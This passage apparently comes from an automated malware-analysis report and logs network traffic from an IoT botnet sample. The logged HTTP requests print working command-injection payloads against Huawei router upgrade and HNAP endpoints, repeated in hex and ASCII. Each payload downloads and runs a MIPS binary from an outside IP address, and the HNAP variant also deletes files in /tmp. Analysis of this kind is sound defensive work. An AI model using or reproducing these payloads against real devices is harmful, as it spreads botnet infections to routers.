20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49502 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49986 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 44054 |
Source: unknown | Network traffic detected: HTTP traffic on port 44886 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47564 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47320 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 44294 |
Source: unknown | Network traffic detected: HTTP traffic on port 45730 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 42624 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37760 |
Source: unknown | Network traffic detected: HTTP traffic on port 43790 -> 443 |
